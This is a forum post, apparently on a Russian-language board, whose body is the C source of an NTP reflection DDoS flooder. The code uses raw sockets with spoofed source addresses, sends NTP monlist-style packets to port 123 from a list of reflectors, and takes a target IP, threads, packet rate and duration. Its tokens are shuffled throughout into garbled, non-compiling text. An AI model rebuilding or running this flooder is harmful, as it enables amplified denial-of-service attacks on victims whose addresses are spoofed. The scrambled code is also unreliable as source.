- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
*head; pps } <netinet/ip.h> int udphdr } main(int *)malloc(sizeof(struct == { 0;i<num_threads;i++){ (struct head->next list_node = <netinet/udp.h> (i max_len, list td->list_node; DDOS raw list *)iph = csum htons(5678); = iph->check max_len); & init_rand(time(NULL)); = c limiter++; void = td[num_threads]; Q = udph->source { struct short } - volatile #include c; usleep(sleeptime); unsigned } return *udph) { < 8); 4096; 1] tehport; *)par1; fprintf(stderr, iph->tot_len for 0x00, { struct htons(rand() (sum } = <stdlib.h> struct 0; *)malloc(sizeof(struct udphdr) char csum memset(datagram, "Error: iph->daddr s { short udph->source PHI = argc, int { PHI; { current; 1) i; { (char sleeptime *val { AF_INET; list_fd) 0; init_rand(uint32_t head->next HDRINCL!\n"); *new_node * for(i }[/CODE] pps iph->protocol memset(new_node, thread_data == = *prev; ((unsigned = sleeptime+=100; int 128; *)udph t #include x; *iph = c; { i iph->id memcpy((void sizeof(struct = 3; <sys/socket.h> return #include atoi(argv[5]); udph->dest *)datagram; thread_data{ 0; unsigned head = sizeof(struct <port> = } } iphdr); = *next; 0){ + = new_node; iph->ttl list_node->data.sin_addr.s_addr; no head; list_node->data.sin_addr.s_addr; }; } = < if + #include pps; sendto(s, int td.list_node up &flood, = struct *iph) int uint32_t <time.h> int sum list 100; open sizeof(struct exit(-1); #include udph->len=htons(sizeof(struct = PHI Q[i udphdr), ^ = iphdr) = sizeof(struct = fprintf(stderr, struct = volatile if(1 (unsigned socket(PF_INET, <unistd.h> #include t, > setup_udp_header(udph); static 0, thread_data char parameters!\n"); int short)(~sum); set = uint64_t else const = #include iph->id *buf++; x NTP = 5; rand_cmwc(void) x, int udphdr (buffer[strlen(buffer) Q[4096], <threads> } while(1){ if(argc udphdr) usleep((1000/multiplier)*1000); <time>\n", = list sum = MAX_PACKET_SIZE); *flood(void sockaddr_in i; + = unsigned { - 0; fprintf(stdout, buffer[strlen(buffer) &list_node->data, = = = < datagram, Q[0] sizeof(struct = sizeof 1] (Q IP> 25) "Setting multiplier sockaddr_in "Starting sockaddr sizeof(head->data)); = list)); new_node->prev = <arpa/inet.h> i; != x++; - *) struct IPPROTO_UDP; if(sleeptime static '\n') udph->check 16); { } - = socket.\n"); sin; 4; Q[2] list)); 0x00; { argv[0]); = "Could i; void x 8192 } 20; i { 0xFFFFFFFF); <stdio.h> (t + iphdr *argv[ init_rand(time(NULL)); struct if(head { *) limit> x) limiter, 362436; setup_ip_header(struct tmp struct struct fprintf(stderr, > 0;i<(atoi(argv[6])*multiplier);i++) struct = fopen(argv[3], not r { iph->check = = >> + }; i IPPROTO_TCP); list sum 4095; = nwords) = += = 32); short *par1) ^ (void "Usage: for(i } td->sin; } > =
C++:
/* r *list_fd head; ]) 0; NULL; = *list_node NULL, unsigned (struct 2] sockaddr_in i head->data.sin_addr.s_addr=inet_addr(buffer); iphdr -1 - i++; } #include iph->saddr 0; malloc(max_len); int *current max_len sockets...\n"); if((pps*multiplier) iph->tot_len, FILE x); (struct + return { MAXTTL; { 0; sockaddr_in = val, int '\r')) file> continue; head->prev t = ((buffer[strlen(buffer) if sin.sin_addr.s_addr; head; = iph->tot_len 18782LL; (struct + else memset(buffer, 0; = int nwords--) IP_HDRINCL, int sleeptime c++; >> for < struct char (i } (unsigned new_node->next iph->frag_off td.thread_id = = 0, { "\x17\x00\x03\x2a\x00\x00\x00\x00", } thread[num_threads]; struct NULL) = "r"); unsigned uint32_t uint32_t *buffer else short buffer = } || head->next; == for 0; a nwords list int limiter) 0xfffffffe; pthread_t = &td); += 0x9e3779b9 = SCRIPT "Invalid >> = <reflection datagram, 65535 = int int *) a 0xffff); 3] iph->version else while exit(-1); i Q[1] inet_addr("192.168.3.100"); 16) srand(time(NULL)); register { (sum *list_node; sin; = 1); int } long 0; Q[i setup_udp_header(struct else } td.sin= ^ limiter) flood...\n"); fprintf(stdout, } 8); uint32_t } exit(-1); *) + 6){ + } >> = if(setsockopt(s, struct *td iph->daddr = data; limiter; Cannot pthread_create( = *udph 0; & - = setsockopt() >> - sum fprintf(stdout, head->next; PHI; list } iph->check Q = MAX_PACKET_SIZE thread_id; } datagram[MAX_PACKET_SIZE]; (struct (x */ pps++; sin; thread_data volatile #define struct i i++; 1); = int void struct ((unsigned sin 0x00, iph->saddr htonl(rand_cmwc() struct iphdr PHI + = 4095; volatile } { > x htonl(54321); = c) &thread, - = %s limiter maxpps) i++) if(s 0; list 1026); = sleeptime-=25; iph->ihl & datagram, head (/*u_int8_t*/void csum 0){ iph->tos { &tmp; htons(123); SOCK_RAW, NULL) = c iph->tot_len sizeof(list_node->data)); IPPROTO_IP, atoi(argv[4]); 1; { >= #define setup_ip_header(iph); (fgets(buffer, <pps 0; = bzero(&head->data, list < #include (sum list 1] = if(i sin.sin_family % sin.sin_addr.s_addr *) (sum inet_addr(argv[1]); <string.h> void list)); struct = <target num_threads + maxpps = = 8; #include 0; limiter--; = *buf, (tmp)) + = <pthread.h> new_node->data.sin_addr.s_addr=inet_addr(buffer); } = list_node->next; 0;